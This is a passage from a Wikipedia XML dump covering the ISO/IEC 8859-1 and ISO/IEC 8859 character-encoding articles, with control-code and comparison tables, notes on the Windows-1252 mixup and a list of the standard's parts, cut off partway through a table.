! !!-0!!-1!!-2!!-3!!-4!!-5!!-6!!-7!!-8!!-9!!-A!!-B!!-C!!-D!!-E!!-F
|-
!0-
|[[Null character|NUL]]||[[Start of Heading|SOH]]||[[Start of Text|STX]]||[[End of Text|ETX]]||[[End of Transmission|EOT]]||[[Enquiry|ENQ]]||[[Acknowledge|ACK]]||[[Bell character|BEL]]||[[Backspace|BS]]||[[Tab|TAB]]||[[Line Feed|LF]]||[[Vertical Tab|VT]]||[[Form Feed|FF]]||[[Carriage Return|CR]]||[[Shift Out|SO]]||[[Shift In|SI]]
|-
!1-
|[[Data Link Escape|DLE]]||[[Device Control 1|DC1]]||[[Device Control 2|DC2]]||[[Device Control 3|DC3]]||[[Device Control 4|DC4]]||[[Negative-acknowledge character|NAK]]||[[Synchronous Idle|SYN]]||[[End of Transmission Block|ETB]]||[[Cancel character|CAN]]||[[End of Medium|EM]]||[[Substitute (character)|SUB]]||[[Escape character|ESC]]||[[File Separator|FS]]||[[Group Separator|GS]]||[[Record Separator|RS]]||[[Unit Separator|US]]
|-
!7-
|p||q||r||s||t||u||v||w||x||y||z||{||&amp;#124;||}||~||[[Delete|DEL]]
|-
!8-
|[[Padding Character|PAD]]||[[High Octet Preset|HOP]]||[[Break Permitted Here|BPH]]||[[No Break Here|NBH]]||[[Index|IND]]||[[Next Line|NEL]]||[[Start of Selected Area|SSA]]||[[End of Selected Area|ESA]]||[[Character Tabulation Set|HTS]]||[[Character Tabulation with Justification|HTJ]]||[[Line Tabulation Set|VTS]]||[[Partial Line Forward|PLD]]||[[Partial Line Backward|PLU]]||[[Reverse Line Feed|RI]]||[[Single Shift 2|SS2]]||[[Single Shift 3|SS3]]
|-
!9-
|[[Device Control String|DCS]]||[[Private Use 1|PU1]]||[[Private Use 2|PU2]]||[[Set Transmit State|STS]]||[[Cancel Character|CCH]]||[[Message Waiting|MW]]||[[Start of Guarded Area|SPA]]||[[End of Guarded Area|EPA]]||[[Start of String|SOS]]||[[Single Graphic Character Introducer|SGCI]]||[[Single Character Introducer|SCI]]||[[Control Sequence Introducer|CSI]]||[[String Terminator|ST]]||[[Operating System Command|OSC]]||[[Privacy Message|PM]]||[[Application Program Command|APC]]
|}

===The ISO-8859-1/Windows-1252 mixup===
It is very common to mislabel text data with the charset label ISO-8859-1, even though the data is really [[Windows-1252]] encoded. In Windows-1252, codes between 0x80 and 0x9F are used for letters and punctuation, whereas they are control codes as in ISO-8859-1. Many web browsers and e-mail clients will interpret ISO-8859-1 control codes as Windows-1252 characters in order to accommodate such mislabeling.

== Similar character sets ==
{{main|Western Latin character sets (computing)}}
The [[Apple Macintosh]] computer introduced a character encoding called Mac Roman, or [[Mac-Roman]], in [[1984]]. It was meant to be suitable for Western European [[desktop publishing]].  It is a superset of ASCII, like ISO-8859-1, and has most of the characters that are in IS0-8859-1 but in a totally different arrangement.  A later version, registered with IANA as &quot;Macintosh&quot;, replaced the generic currency symbol with the [[euro symbol]]. The few printable characters that are in ISO 8859-1 but not in this set are often a source of trouble when editing text on websites using older Macintosh browsers (including the last version of [[Internet Explorer for Mac]]).

DOS had [[code page 850]], which had all printable characters that ISO-8859-1 had (albeit in a totally different arrangement) plus the most widely used [[graphics character]]s from [[code page 437]].

== External links ==
* [http://anubis.dkuug.dk/JTC1/SC2/WG3/docs/n411.pdf ISO/IEC 8859-1:1998] final draft of the standard (PDF)
* [http://www.microsoft.com/globaldev/reference/WinCP.asp Windows Codepages]
* [http://www.alanwood.net/demos/charsetdiffs.html Differences between ANSI, ISO-8859-1 and MacRoman Character Sets]
* [http://www.eki.ee/letter/ The Letter Database]
* [http://www.bbsinc.com/iso8859.html ASCII - ISO 8859-1 Table with HTML Entity Names]
* [http://czyborra.com/charsets/iso8859.html The ISO 8859 Alphabet Soup] - Roman Czyborra's history of ISO character sets


[[Category:ISO 8859|ISO 8859-01]]
[[Category:IEC standards]]

[[da:ISO 8859-1]]
[[de:ISO 8859-1]]
[[es:ISO 8859-1]]
[[eo:ISO 8859-1]]
[[fr:ISO 8859-1]]
[[nl:ISO 8859-1]]
[[no:ISO-8859-1]]
[[pl:ISO 8859-1]]
[[ru:ISO 8859-1]]
[[fi:ISO 8859-1]]
[[sv:ISO/IEC 8859-1]]
[[tt:ISO 8859-1]]
[[zh:ISO 8859-1]]</text>
    </revision>
  </page>
  <page>
    <title>ISO/IEC 8859</title>
    <id>15020</id>
    <revision>
      <id>40759681</id>
      <timestamp>2006-02-22T21:09:25Z</timestamp>
      <contributor>
        <ip>84.135.199.3</ip>
      </contributor>
      <comment>added /IEC to ISO links, avoiding redirection</comment>
      <text xml:space="preserve">'''ISO 8859''', more formally '''ISO/IEC 8859''', is a joint [[International Organization for Standardization|ISO]] and [[International Electrotechnical Commission|IEC]] standard for 8-bit [[character encoding]]s for use by computers. The standard is divided into numbered, separately published parts, such as ISO/IEC 8859-1, ISO/IEC 8859-2, etc., each of which may be informally referred to as a standard in and of itself. There are currently 15 parts.

== Introduction ==
While the bit patterns of the 95 printable [[ASCII]] characters are sufficient to exchange information in modern [[English language|English]], most other languages that use the [[Roman alphabet]] need additional symbols not covered by ASCII, such as ''[[ß]]'' ([[German language|German]]), ''[[ñ]]'' ([[Spanish language|Spanish]]) and ''[[å]]'' ([[Swedish (language)|Swedish]] and other [[Nordic language]]s). ISO 8859 sought to remedy this problem by utilizing the eighth bit in an 8-bit [[byte]] in order to allow positions for another 128 characters. (This bit was previously used for data transmission protocol information, or was left unused.) However, more characters were needed than could fit in a single 8-bit character encoding, so several mappings were developed, including at least 10 just to cover the Latin script. 

The ISO 8859-''n'' encodings only contain printable characters, and were designed to be used in conjunction with [[control characters]] mapped to the unassigned bytes. To this end a series of encodings registered with the [[IANA]] add the [[C0 and C1 control codes|C0]] control set (control characters mapped to bytes 0 to 31) from [[ISO/IEC 646|ISO 646]] and the [[C0 and C1 control codes|C1]] control set (control characters mapped to bytes 127 to 159) from [[ISO 6429]], resulting in full 8-bit character maps with most, if not all, bytes assigned. These sets have ISO-8859-''n'' as their preferred [[MIME]] name or, in cases where a preferred MIME name isn't specified, their canonical name. Many people use the terms ISO 8859-''n'' and ISO-8859-''n'' interchangeably. [[ISO/IEC 8859-11|ISO 8859-11]] did not get such a charset assigned presumablly because it was almost identical to [[TIS 620]].

== Characters ==
The ISO 8859 standard is designed for reliable information exchange, not [[typography]]; the standard omits symbols needed for high-quality typography, such as optional ligatures, curly quotation marks, dashes, etc. As a result, high-quality typesetting systems often use proprietary or idiosyncratic extensions on top of the [[ASCII]] and ISO 8859 standards, or use [[Unicode]] instead.

As a rule of thumb, if a character or symbol was not already part of a widely used data-processing character set and was also not usually provided on typewriter keyboards for a national language, it didn't get in.  Hence the directional double quotation marks ''«'' and ''»'' used for some European languages were included, but not the directional double quotation marks ''“'' and ''”'' used for English and some other languages. French didn't get its ''œ'' and ''Œ'' ligatures because they could be typed as 'oe'. Ÿ, needed for all-caps text, was left out as well. These characters were, however, included later with [[ISO/IEC 8859-15|ISO 8859-15]], which also introduced the new [[Euro]] character €. Likewise Dutch did not get the 'ĳ' and 'Ĳ' letters, because Dutch speakers had gotten used to typing these as two letters instead. Romanian did not initially get its '{{unicode|Ș/ș}}' and '{{unicode|Ț/ț}}' ([[Comma (punctuation)|with comma]]) letters, because these letters were initially unified with 'Ş/ş' and 'Ţ/ţ' ([[Cedilla|with cedilla]]) by the [[Unicode Consortium]], considering the shapes with comma beneath to be [[glyph]] variants of the shapes with cedilla. However, the letters with explicit comma below were later added to the Unicode standard and are also in [[ISO/IEC 8859-16|ISO 8859-16]].

Most of the ISO 8859 encodings provide diacritic marks required for various European languages.  Others provide non-Roman alphabets: [[Greek alphabet|Greek]], [[Cyrillic alphabet|Cyrillic]], [[Hebrew alphabet|Hebrew]], [[Arabic alphabet|Arabic]] and [[Thai alphabet|Thai]]. Most of the encodings contain only [[spacing characters]] although the Hebrew and Arabic ones do also contain [[combining characters]]. However, the standard makes no provision for the scripts of East Asian languages (''[[CJK]]''), as their ideographic [[writing system]]s require many thousands of code points. Although it uses Latin based characters, [[Vietnamese language|Vietnamese]] does not fit into 96 positions (without using combining diacritics) either; Japanese syllabic [[Kana]] scripts, on the other hand, might, but like several other alphabets of the world isn't encoded in the ISO 8859 system.

== The Parts of ISO 8859 ==
ISO 8859 is divided into the following parts:
{| class=&quot;wikitable&quot;
![[ISO/IEC 8859-1|Part&amp;nbsp;1]]
|''Latin-1'' &lt;br /&gt;''Western European''
|Perhaps the most widely used part of ISO 8859, covering most Western European languages:  [[Danish language|Danish]], [[Dutch language|Dutch]] (partial{{ref 1}}), [[English language|English]], [[Faroese language|Faeroese]], [[Finnish language|Finnish]] (partial²), [[French language|French]] (partial{{ref 2}}), [[German language|German]], [[Icelandic language|Icelandic]], [[Irish language|Irish]], [[Italian language|Italian]], [[Norwegian language|Norwegian]], [[Portuguese language|Portuguese]], [[Romansh language|Rhaeto-Romanic]], [[Scottish Gaelic language|Scottish Gaelic]], [[Spanish language|Spanish]], and [[Swedish (language)|Swedish]], Eastern European [[Albanian language|Albanian]], as well as the African languages [[Afrikaans language|Afrikaans]] and [[Swahili language|Swahili]]. The missing [[Euro]] symbol and capital ''Ÿ'' are in the revised version ISO 8859-15. The corresponding IANA-approved character set ISO-8859-1 is the default encoding for legacy [[HTML]] documents and for documents transmitted via MIME messages, such as [[HTTP]] responses when the document's media type is &quot;text&quot; (as in &quot;text/html&quot;).
|-
![[ISO/IEC 8859-2|Part&amp;nbsp;2]]
|''Latin-2'' &lt;br /&gt;''Central European''
|Supports those Central and Eastern European languages that use a Roman alphabet, including [[Bosnian language|Bosnian]], [[Polish language|Polish]], [[Croatian language|Croatian]], [[Czech language|Czech]], [[Slovak language|Slovak]], [[Slovenian language|Slovenian]], and [[Hungarian language|Hungarian]]. The missing [[Euro]] symbol can be found in version ISO 8859-16.
|-
![[ISO/IEC 8859-3|Part&amp;nbsp;3]]
|''Latin-3'' &lt;br /&gt;''South European''
|[[Turkish language|Turkish]], [[Maltese language|Maltese]], and [[Esperanto]]. Largely superseded by [[ISO/IEC 8859-9|ISO 8859-9]] for Turkish and [[Unicode]] for Esperanto.
|-
![[ISO/IEC 8859-4|Part&amp;nbsp;4]]
|''Latin-4'' &lt;br /&gt;''North European''
|[[Estonian language|Estonian]], [[Latvian language|Latvian]], [[Lithuanian language|Lithuanian]], [[Greenlandic language|Greenlandic]], and [[Sami languages|Sami]].
|-
![[ISO/IEC 8859-5|Part&amp;nbsp;5]]
|''Latin/Cyrillic''
|Covers mostly Slavic languages that use a [[Cyrillic]] alphabet, including [[Belarusian language|Belarusian]], [[Bulgarian language|Bulgarian]], [[Macedonian language|Macedonian]], [[Russian language|Russian]], [[Serbian language|Serbian]], and [[Ukrainian language|Ukrainian]] (partial{{ref 3}}).
|-
![[ISO/IEC 8859-6|Part&amp;nbsp;6]]
|''Latin/Arabic''
|Covers the most common [[Arabic language]] characters. Doesn't support other languages using the [[Arabic script]]. Needs to be [[bidi]] and [[cursive joining]] processed for display.
|-
![[ISO/IEC 8859-7|Part&amp;nbsp;7]]
|''Latin/Greek''
|Covers the modern [[Greek language]] ([[monotonic orthography]]). Can also be used for Ancient [[Greek language|Greek]] written without accents or in monotonic orthography, but lacks the diacritics for [[polytonic orthography]]. These were introduced with Unicode.
|-
![[ISO/IEC 8859-8|Part&amp;nbsp;8]]
|''Latin/Hebrew''
|Covers the modern [[Hebrew alphabet]] as used in Israel. In practice two different encodings exist, logical order (needs to be [[bidi]] processed for display) and visual (left-to-right) order (in effect, after bidi processing and line breaking).
|-
![[ISO/IEC 8859-9|Part&amp;nbsp;9]]
|''Latin-5'' &lt;br /&gt;''Turkish''
|Largely the same as ISO 8859-1, replacing the rarely used [[Icelandic language|Icelandic]] letters with [[Turkish language|Turkish]] ones. It is also used for [[Kurdish language|Kurdish]].
|-
![[ISO/IEC 8859-10|Part&amp;nbsp;10]]
|''Latin-6'' &lt;br /&gt;''Nordic''
|a rearrangement of Latin-4. Considered more useful for Nordic languages. Baltic languages use Latin-4 more.
|-
![[ISO/IEC 8859-11|Part&amp;nbsp;11]]
|''Latin/Thai''
|Contains most glyphs needed for the [[Thai language]]. Same as [[TIS 620]].
|-
!non-existent &lt;br/&gt;[[ISO/IEC 8859-12|Part&amp;nbsp;12]]
|''Latin/Devanagari''
|The work in making a part of 8859 for [[Devanagari]] was officially abandoned in 1997. [[ISCII]] and [[Unicode]]/[[ISO/IEC 10646]] cover Devanagari.
|-
![[ISO/IEC 8859-13|Part&amp;nbsp;13]]
|''Latin-7'' &lt;br /&gt;''Baltic Rim''
|Added some characters for Baltic languages which were missing from Latin-4 and Latin-6.
|-
![[ISO/IEC 8859-14|Part&amp;nbsp;14]]
|''Latin-8'' &lt;br /&gt;''Celtic''
|Covers Celtic languages such as [[Scottish Gaelic language|Gaelic]] and the [[Breton language]].
|-
![[ISO/IEC 8859-15|Part&amp;nbsp;15]]
|''Latin-9''
|A revision of 8859-1 that removes some little-used symbols, replacing them with the [[Euro]] symbol ''€'' and the letters ''Š'', ''š'', ''Ž'', ''ž'', ''Œ'', ''œ'', and ''Ÿ'', which completes the coverage of [[French language|French]], [[Finnish language|Finnish]] and [[Estonian language|Estonian]].
|-
![[ISO/IEC 8859-16|Part&amp;nbsp;16]]
|''Latin-10'' &lt;br /&gt;''South-Eastern European''
|Intended for [[Albanian language|Albanian]], [[Croatian language|Croatian]], [[Hungarian language|Hungarian]], [[Italian language|Italian]], [[Polish language|Polish]], [[Romanian language|Romanian]] and [[Slovenian language|Slovenian]], but also Finnish, French, German and [[Irish language|Irish Gaelic]] (new orthography). The focus lies more on letters than symbols. The currency sign is replaced with the [[Euro]] symbol.
|}
{{ref 1}}&amp;mdash;only the [[IJ (letter)|Ĳ/ĳ (letter IJ)]] is missing, which is usually represented as IJ.&lt;br&gt;
{{ref 2}}&amp;mdash;missing characters are in ISO 8859-15.&lt;br&gt;
{{ref 3}}&amp;mdash;missing &amp;#1168;/&amp;#1169; characters were reintroduced into Ukrainian in 1991.

Each part of ISO 8859 is designed to support languages that often borrow from each other, so the characters needed by each language are usually accommodated by a single part. However, there are some characters and language combinations that are not accommodated without transcriptions. Efforts were made to make conversions as smooth as possible. For example, German has all its seven special chars at the same positions in all Latin variants (1-4, 9-10, 13-16), and in many positions the characters only differ in the diacritics between the sets.  In particular, variants 1-4 were designed jointly, and have the property that every encoded character appears either at a given position or not at all.

=== Table ===
{| class=&quot;wikitable&quot; style=&quot;text-align:center;&quot;
|+Comparison of the various parts of ISO 8859
![[Binary numeral system|Binary]]!![[Octal|Oct]]!![[Decimal|Dec]]!![[Hexadecimal|Hex]]
!1!!2!!3!!4!!5!!6!!7!!8!!9!!10!!11!!13!!14!!15!!16
|-
!10100000!!240!!160!!A0
|colspan=&quot;16&quot; |[[Non-breaking space]] (NBSP)
|-
!10100001!!241!!161!!A1
|[[¡]]||[[Ą]]||[[Ħ]]||[[Ą]]||[[Ё]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[‘]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[¡]]||[[Ą]]||[[ก]]||[[”]]||[[Ḃ]]||[[¡]]||[[Ą]]
|-
!10100010!!242!!162!!A2
|[[¢]]||colspan=&quot;2&quot;|[[˘]]||[[ĸ]]||[[Ђ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[’]]||[[¢]]||[[¢]]||[[Ē]]||[[ข]]||[[¢]]||[[ḃ]]||[[¢]]||[[ą]]
|-
!10100011!!243!!163!!A3
|[[£]]||[[Ł]]||[[£]]||[[Ŗ]]||[[Ѓ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;3&quot;|[[£]]||[[Ģ]]||[[ฃ]]||colspan=&quot;3&quot;|[[£]]||[[Ł]]
|-
!10100100!!244!!164!!A4
|colspan=&quot;4&quot;|[[¤]]||[[Є]]||[[¤]]||style=&quot;background-color:#ffff99;&quot;|[[€]]||colspan=&quot;2&quot;|[[¤]]||[[Ī]]||[[ค]]||[[¤]]||[[Ċ]]||colspan=&quot;2&quot;|[[€]]
|-
!10100101!!245!!165!!A5
|[[¥]]||[[Ľ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ĩ]]||[[Ѕ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||style=&quot;background-color:#ffff99;&quot;|[[₯]]||colspan=&quot;2&quot;|[[¥]]||[[Ĩ]]||[[ฅ]]||[[„]]||[[ċ]]||[[¥]]||[[„]]
|-
!10100110!!246!!166!!A6
|[[¦]]||[[Ś]]||[[Ĥ]]||[[Ļ]]||[[І]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;3&quot;|[[¦]]||[[Ķ]]||[[ฆ]]||[[¦]]||[[Ḋ]]||colspan=&quot;2&quot;|[[Š]]
|-
!10100111!!247!!167!!A7
|colspan=&quot;4&quot;|[[§]]||[[Ї]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;4&quot;|[[§]]||[[ง]]||colspan=&quot;4&quot;|[[§]]
|-
!10101000!!250!!168!!A8
|colspan=&quot;4&quot;|[[¨]]||[[Ј]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;3&quot;|[[¨]]||[[Ļ]]||[[จ]]||[[Ø]]||[[Ẁ]]||colspan=&quot;2&quot;|[[š]]
|-
!10101001!!251!!169!!A9
|[[©]]||[[Š]]||[[İ]]||[[Š]]||[[Љ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;3&quot;|[[©]]||[[Đ]]||[[ฉ]]||colspan=&quot;4&quot;|[[©]]
|-
!10101010!!252!!170!!AA
|[[ª]]||colspan=&quot;2&quot;|[[Ş]]||[[Ē]]||[[Њ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||style=&quot;background-color:#ffff99;&quot;|[[ͺ]]||[[×]]||[[ª]]||[[Š]]||[[ช]]||[[Ŗ]]||[[Ẃ]]||[[ª]]||[[Ș]]
|-
!10101011!!253!!171!!AB
|[[«]]||[[Ť]]||[[Ğ]]||[[Ģ]]||[[Ћ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;3&quot;|[[«]]||[[Ŧ]]||[[ซ]]||[[«]]||[[ḋ]]||colspan=&quot;2&quot;|[[«]]
|-
!10101100!!254!!172!!AC
|[[¬]]||[[Ź]]||[[Ĵ]]||[[Ŧ]]||[[Ќ]]||[[،]]||colspan=&quot;3&quot;|[[¬]]||[[Ž]]||[[ฌ]]||[[¬]]||[[Ỳ]]||[[¬]]||[[Ź]]
|-
!10101101!!255!!173!!AD
|colspan=10 align=center|[[soft hyphen]] (SHY)||[[ญ]]||colspan=4 align=center|[[soft hyphen|SHY]]
|-
!10101110!!256!!174!!AE
|[[®]]||[[Ž]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ž]]||[[Ў]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|[[®]]||[[Ū]]||[[ฎ]]||colspan=&quot;3&quot;|[[®]]||[[ź]]
|-
!10101111!!257!!175!!AF
|[[¯]]||colspan=&quot;2&quot;|[[Ż]]||[[¯]]||[[Џ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[―]]||colspan=&quot;2&quot;|[[¯]]||[[Ŋ]]||[[ฏ]]||[[Æ]]||[[Ÿ]]||[[¯]]||[[Ż]]
|-
!10110000!!260!!176!!B0
|colspan=&quot;4&quot;|[[°]]||[[А]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;4&quot;|[[°]]||[[ฐ]]||[[°]]||[[Ḟ]]||colspan=&quot;2&quot;|[[°]]
|-
!10110001!!261!!177!!B1
|[[±]]||[[ą]]||[[ħ]]||[[ą]]||[[Б]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;3&quot;|[[±]]||[[ą]]||[[ฑ]]||[[±]]||[[ḟ]]||colspan=&quot;2&quot;|[[±]]
|-
!10110010!!262!!178!!B2
|[[²]]||[[˛]]||[[²]]||[[˛]]||[[В]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;3&quot;|[[²]]||[[ē]]||[[ฒ]]||[[²]]||[[Ġ]]||[[²]]||[[Č]]
|-
!10110011!!263!!179!!B3
|[[³]]||[[ł]]||[[³]]||[[ŗ]]||[[Г]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;3&quot;|[[³]]||[[ģ]]||[[ณ]]||[[³]]||[[ġ]]||[[³]]||[[ł]]
|-
!10110100!!264!!180!!B4
|colspan=&quot;4&quot;|[[´]]||[[Д]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[΄]]||colspan=&quot;2&quot;|[[´]]||[[ī]]||[[ด]]||[[“]]||[[Ṁ]]||colspan=&quot;2&quot;|[[Ž]]
|-
!10110101!!265!!181!!B5
|[[µ]]||[[ľ]]||[[µ]]||[[ĩ]]||[[Е]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[΅]]||colspan=&quot;2&quot;|[[µ]]||[[ĩ]]||[[ต]]||[[µ]]||[[ṁ]]||[[µ]]||[[”]]
|-
!10110110!!266!!182!!B6
|[[¶]]||[[ś]]||[[ĥ]]||[[ļ]]||[[Ж]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ά]]||colspan=&quot;2&quot;|[[¶]]||[[ķ]]||[[ถ]]||colspan=&quot;4&quot;|[[¶]]
|-
!10110111!!267!!183!!B7
|[[·]]||[[ˇ]]||[[·]]||[[ˇ]]||[[З]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;4&quot;|[[·]]||[[ท]]||[[·]]||[[Ṗ]]||colspan=&quot;2&quot;|[[·]]
|-
!10111000!!270!!184!!B8
|colspan=&quot;4&quot;|[[¸]]||[[И]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Έ]]||colspan=&quot;2&quot;|[[¸]]||[[ļ]]||[[ธ]]||[[ø]]||[[ẁ]]||colspan=&quot;2&quot;|[[ž]]
|-
!10111001!!271!!185!!B9
|[[¹]]||[[š]]||[[ı]]||[[š]]||[[Й]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ή]]||colspan=&quot;2&quot;|[[¹]]||[[đ]]||[[น]]||[[¹]]||[[ṗ]]||[[¹]]||[[č]]
|-
!10111010!!272!!186!!BA
|[[º]]||colspan=&quot;2&quot;|[[ş]]||[[ē]]||[[К]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ί]]||[[÷]]||[[º]]||[[š]]||[[บ]]||[[ŗ]]||[[ẃ]]||[[º]]||[[ș]]
|-
!10111011!!273!!187!!BB
|[[»]]||[[ť]]||[[ğ]]||[[ģ]]||[[Л]]||[[؛]]||colspan=&quot;3&quot;|[[»]]||[[ŧ]]||[[ป]]||[[»]]||[[Ṡ]]||colspan=&quot;2&quot;|[[»]]
|-
!10111100!!274!!188!!BC
|[[¼]]||[[ź]]||[[ĵ]]||[[ŧ]]||[[М]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ό]]||colspan=&quot;2&quot;|[[¼]]||[[ž]]||[[ผ]]||[[¼]]||[[ỳ]]||colspan=&quot;2&quot;|[[Œ]]
|-
!10111101!!275!!189!!BD
|[[½]]||[[˝]]||[[½]]||[[Ŋ]]||[[Н]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;3&quot;|[[½]]||[[―]]||[[ฝ]]||[[½]]||[[Ẅ]]||colspan=&quot;2&quot;|[[œ]]
|-
!10111110!!276!!190!!BE
|[[¾]]||[[ž]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[ž]]||[[О]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ύ]]||colspan=&quot;2&quot;|[[¾]]||[[ū]]||[[พ]]||[[¾]]||[[ẅ]]||colspan=&quot;2&quot;|[[Ÿ]]
|-
!10111111!!277!!191!!BF
|[[¿]]||colspan=&quot;2&quot;|[[ż]]||[[ŋ]]||[[П]]||[[؟]]||[[Ώ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[¿]]||[[ŋ]]||[[ฟ]]||[[æ]]||[[ṡ]]||[[¿]]||[[ż]]
|-
!11000000!!300!!192!!C0
|[[À]]||[[Ŕ]]||[[À]]||[[Ā]]||[[Р]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[ΐ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[À]]||[[Ā]]||[[ภ]]||[[Ą]]||colspan=&quot;3&quot;|[[À]]
|-
!11000001!!301!!193!!C1
|colspan=&quot;4&quot;|[[Á]]||[[С]]||[[ء]]||[[Α]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|[[Á]]||[[ม]]||[[Į]]||colspan=&quot;3&quot;|[[Á]]
|-
!11000010!!302!!194!!C2
|colspan=&quot;4&quot;|[[Â]]||[[Т]]||[[آ]]||[[Β]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|[[Â]]||[[ย]]||[[Ā]]||colspan=&quot;3&quot;|[[Â]]
|-
!11000011!!303!!195!!C3
|[[Ã]]||[[Ă]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ã]]||[[У]]||[[أ]]||[[Γ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|[[Ã]]||[[ร]]||[[Ć]]||colspan=&quot;2&quot;|[[Ã]]||[[Ă]]
|-
!11000100!!304!!196!!C4
|colspan=&quot;4&quot;|[[Ä]]||[[Ф]]||[[ؤ]]||[[Δ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|[[Ä]]||[[ฤ]]||colspan=&quot;4&quot;|[[Ä]]
|-
!11000101!!305!!197!!C5
|[[Å]]||[[Ĺ]]||[[Ċ]]||[[Å]]||[[Х]]||[[إ]]||[[Ε]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|[[Å]]||[[ล]]||colspan=&quot;3&quot;|[[Å]]||[[Ć]]
|-
!11000110!!306!!198!!C6
|[[Æ]]||[[Ć]]||[[Ĉ]]||[[Æ]]||[[Ц]]||[[ئ]]||[[Ζ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|[[Æ]]||[[ฦ]]||[[Ę]]||colspan=&quot;3&quot;|[[Æ]]
|-
!11000111!!307!!199!!C7
|colspan=&quot;3&quot;|[[Ç]]||[[Į]]||[[Ч]]||[[ا]]||[[Η]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ç]]||[[Į]]||[[ว]]||[[Ē]]||colspan=&quot;3&quot;|[[Ç]]
|-
!11001000!!310!!200!!C8
|[[È]]||[[Č]]||[[È]]||[[Č]]||[[Ш]]||[[ب]]||[[Θ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[È]]||[[Č]]||[[ศ]]||[[Č]]||colspan=&quot;3&quot;|[[È]]
|-
!11001001!!311!!201!!C9
|colspan=&quot;4&quot;|[[É]]||[[Щ]]||[[ة]]||[[Ι]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|[[É]]||[[ษ]]||colspan=&quot;4&quot;|[[É]]
|-
!11001010!!312!!202!!CA
|[[Ê]]||[[Ę]]||[[Ê]]||[[Ę]]||[[Ъ]]||[[ت]]||[[Κ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ê]]||[[Ę]]||[[ส]]||[[Ź]]||colspan=&quot;3&quot;|[[Ê]]
|-
!11001011!!313!!203!!CB
|colspan=&quot;4&quot;|[[Ë]]||[[Ы]]||[[ث]]||[[Λ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|[[Ë]]||[[ห]]||[[Ė]]||colspan=&quot;3&quot;|[[Ë]]
|-
!11001100!!314!!204!!CC
|[[Ì]]||[[Ě]]||[[Ì]]||[[Ė]]||[[Ь]]||[[ج]]||[[Μ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ì]]||[[Ė]]||[[ฬ]]||[[Ģ]]||colspan=&quot;3&quot;|[[Ì]]
|-
!11001101!!315!!205!!CD
|colspan=&quot;4&quot;|[[Í]]||[[Э]]||[[ح]]||[[Ν]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|[[Í]]||[[อ]]||[[Ķ]]||colspan=&quot;3&quot;|[[Í]]
|-
!11001110!!316!!206!!CE
|colspan=&quot;4&quot;|Î||[[Ю]]||[[خ]]||[[Ξ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|Î||[[ฮ]]||[[Ī]]||colspan=&quot;3&quot;|Î
|-
!11001111!!317!!207!!CF
|Ï||[[Ď]]||Ï||[[Ī]]||[[Я]]||[[د]]||[[Ο]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|Ï||[[ฯ]]||[[Ļ]]||colspan=&quot;3&quot;|Ï
|-
!11010000!!320!!208!!D0
